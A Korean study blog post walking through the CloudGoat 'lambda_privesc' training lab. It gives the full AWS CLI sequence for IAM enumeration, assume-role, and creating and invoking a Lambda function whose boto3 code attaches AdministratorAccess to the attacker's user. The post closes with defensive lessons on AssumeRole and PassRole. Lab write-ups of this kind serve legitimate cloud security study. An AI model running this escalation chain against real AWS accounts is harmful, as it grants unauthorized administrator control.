(Study) CloudGoat - lambda privesc (2)

date

Mar 19, 2024

slug

cloudgoat-lambda-privesc

author

status

Public

Index

Introduction

Scenario - lambda Privesc

Conclusion

Introduction

안녕하세요 Yureutae입니다. 오늘은 저번 iam_privesc_by_rollback scenario에 이어 lambda_privesc scenario에 대해 알아보겠습니다.

Scenario 전개 순서에 따라 진행하고 결론을 도출하는 식으로 작성되었습니다.

Scenario - lambda Privesc

💡

Starting as the IAM user Chris, the attacker discovers that they can assume a role that has full Lambda access and pass role permissions. The attacker can then perform privilege escalation using these new permissions to obtain full admin privileges.

chris user의 IAM policy 확인

chris로부터 lambdaManager role과 pass role 권한 확인

full admin access 권한 있는 debug role 확인

high priv debug role로 이전하는 Lambda Function 생성하고 실행

최종적으로 admin 권한 획득

하는 시나리오입니다. Lambda Function 생성 및 실행으로 획득하는게 좀 독특하네요.

Hands-On

Scenario를 생성해줍시다. start.txt에 chris 계정 정보가 생성됩니다.

chris가 생성됐으니 configure 등록하면 됩니다.

IAM user policy 및 version을 확인해야하는데, user name과 arn 등이 저번 Scenario와 달리 제공되지 않아서 얻어보겠습니다.

aws sts get-caller-identity --profile chris

list-attached-user-policies를 얻어봅시다.

aws iam list-attached-user-policies --user-name chris-lambda_privesc_cgid8joahktpr9 --profile chris

policy version은 뭐가 있는 지 봤는데, v1 하나가 끝이군요. 이걸 조져봅시다.

aws iam list-policy-versions --policy-arn arn:aws:iam::323130830375:policy/cg-chris-policy-lambda_privesc_cgid8joahktpr9

version v1 내용을 얻어봅시다. sts 서비스에 대해서 AssumeRole이라는 action에 대해 권한이 있네요.

aws iam get-policy-version --policy-arn arn:aws:iam::323130830375:policy/cg-chris-policy-lambda_privesc_cgid8joahktpr9 --version-id v1

AssumeRole에 대해서 조사해봤을 때, 임시로 토큰을 부여해서 다른 IAM Role 권한을 허용하는 것으로 요약할 수 있습니다.

AssumeRole이 어디에 사용될 수 있을까요? Policy를 확인했으니 해당 계정에 부여된 Role을 확인해봅시다. aws lambda와 관련해서 2개의 role을 확인했습니다.

aws iam list-roles --profile chris

aws iam list-attached-role-policies --role-name {} --profile chris

첫번 째 Role의 policy를 뽑아봤습니다. AdministratorAccess Policy가 있네요

2번째 Role의 policy는 바로 확인이 안되서 Policy 정보를 다시 get하고, 해당 정보를 바탕으로 다시 get-policy-version 해봤습니다. PassRole까지 조회에 겨우 성공했습니다. PassRole은 사용자에게 AWS 서비스에 Role을 전달할 권한을 부여할 수 있는 권한입니다.

여기까지 정리해보면

chris 유저는 sts 리소스에 대해 assumeRole이 Policy로 허용됐는데, 이를 통해 다른 IAM Role 권한을 임시로 사용이 가능하다.
chris 유저의 Role 중에는 AdministratorAccess Policy가 허용된 Role과, PassRole이 가능한 lambdaManager Role이 존재한다.

assume-role을 통해서 credentials를 받습니다. assume-role이기 때문에 arn을 policy가 아닌 role로 입력해야합니다. (주의!) 아래 결과와 같이 Expiration이 있는 Key, SecretAccessKey, SecretToken을 받을 수 있습니다.

aws sts assume-role --role-arn {debug role name} --role-session-name lambdaManager --profile Chris

해당 결과값을 aws configure profile을 새로 생성하여 할당합니다. SessionToken 값은 profile 생성 후 credentials에서 따로 추가해줘야합니다.

lambda_function.py를 하나 만들어주고 압축합니다.

import boto3
def lambda_handler(event, context):
	client = boto3.client('iam')
	response = client.attach_user_policy(UserName = 'chris-lambda_privesc_cgida3yhr5mcap', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
	return response

lambda를 생성해줍시다. 아래와 같이 State 결과가 나와야합니다.

aws lambda create-function --function-name admin_function --runtime python3.9 --role {debug role name} --handler lambda_function.lambda_handler --zip-file fileb://lambda_function.py.zip --profile lambdaManager

lambda를 실행시켜줍시다.

aws lambda invoke --function-name admin_function output.txt --region ap-northeast-2 --profile lambdaManager

user policy를 다시 확인해보면 AdministratorAccess Policy가 추가가 되었읍니다.

aws iam list-attached-user-policies --user-name chris-lambda_privesc_cgida3yhr5mcap --profile Chris

Conclusion

이번 Scenario는 단계별 조건 도출 및 원리가 상당히 어려웠던 것 같습니다. 특히 IAM 이론을 겉햝기했으면 Scenario 중간 중간 길을 놓치기 쉬울 것 같습니다.

Policy와 Role, RBAC 등을 기본적으로 잘 파악해야하며, assume role 및 pass role 등이 무엇인지 알아야합니다. 또한 lambda 함수 생성, 실행, 권한 등에 대해서도 잘 파악해야 해당 시나리오를 단순 카피하는 것이 아니라 깊이 이해할 수 있을 것 같습니다.

해당 시나리오를 요약하면,

특정 유저에게 AssumeRole 권한이 있으면, 임시로 토큰을 부여해서 다른 IAM Role 권한을 받아올 수 있다.

Policy에서 PassRole 권한이 있으면, IAM Role을 넘길 수 있다.

해당 Scenario처럼, 높은 권한의 Policy를 가진 Role 할당 접근 자체를 chain된 Role 접근을 통해 강제하더라도, chain된 Role을 attach할 수 있고 해당 Role에 PassRole 권한이 있다면 최종적으로 공격자가 Priviledge escalation이 가능하다.

입니다.

AWS Lambda가 타 서비스 접근하는 경우가 있어 특히 취약하지만, 다른 서비스에서도 이런 연계된 role 접근 및 priviledge escalation에 주의해야할 것 같습니다.